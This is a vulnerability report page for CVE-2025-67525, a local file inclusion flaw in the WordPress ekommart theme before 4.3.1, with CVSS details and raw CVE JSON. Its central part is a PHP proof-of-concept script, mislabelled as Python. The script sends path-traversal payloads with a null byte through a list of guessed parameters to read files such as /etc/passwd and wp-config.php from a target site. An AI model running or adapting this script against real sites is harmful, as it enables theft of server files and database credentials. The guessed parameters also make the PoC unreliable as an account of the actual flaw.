Security Vulnerability Report
中文
CVE-2025-67525 CVSS 7.5 HIGH

CVE-2025-67525

Published: 2025-12-09 16:18:27
Last Modified: 2026-04-27 18:16:41

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Opal_WP ekommart ekommart allows PHP Local File Inclusion.This issue affects ekommart: from n/a through < 4.3.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ekommart < 4.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67525 PoC - WordPress ekommart Theme Local File Inclusion * Target: WordPress ekommart theme < 4.3.1 * Vulnerability: Improper Control of Filename for Include/Require Statement * * Usage: php poc.php <target_url> <file_to_read> * Example: php poc.php http://target.com /etc/passwd */ $targetUrl = $argv[1] ?? ''; $fileToRead = $argv[2] ?? '/etc/passwd'; if (empty($targetUrl)) { echo "Usage: php poc.php <target_url> <file_to_read>\n"; echo "Example: php poc.php http://target.com /etc/passwd\n"; exit(1); } // Common vulnerable parameters in ekommart theme $vulnerableParams = [ 'load_template', 'template', 'file', 'page', 'view', 'action' ]; // Try path traversal to read local files $payload = '../../../../../../../../..' . $fileToRead . chr(0); foreach ($vulnerableParams as $param) { $url = $targetUrl . '/?' . $param . '=' . urlencode($payload); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Check if file content was returned if ($httpCode == 200 && !empty($response)) { echo "[+] SUCCESS: File read via parameter '$param'\n"; echo "[+] URL: $url\n\n"; echo "--- File Content ---\n"; echo $response; echo "\n--- End ---\n"; exit(0); } } echo "[-] Failed to read file. Try manual testing with common LFI parameters.\n"; echo "[-] Common targets:\n"; echo " - /etc/passwd\n"; echo " - /wp-config.php\n"; echo " - /var/www/html/wp-config.php\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67525", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:26.973", "lastModified": "2026-04-27T18:16:41.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Opal_WP ekommart ekommart allows PHP Local File Inclusion.This issue affects ekommart: from n/a through < 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/ekommart/vulnerability/wordpress-ekommart-theme-4-3-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}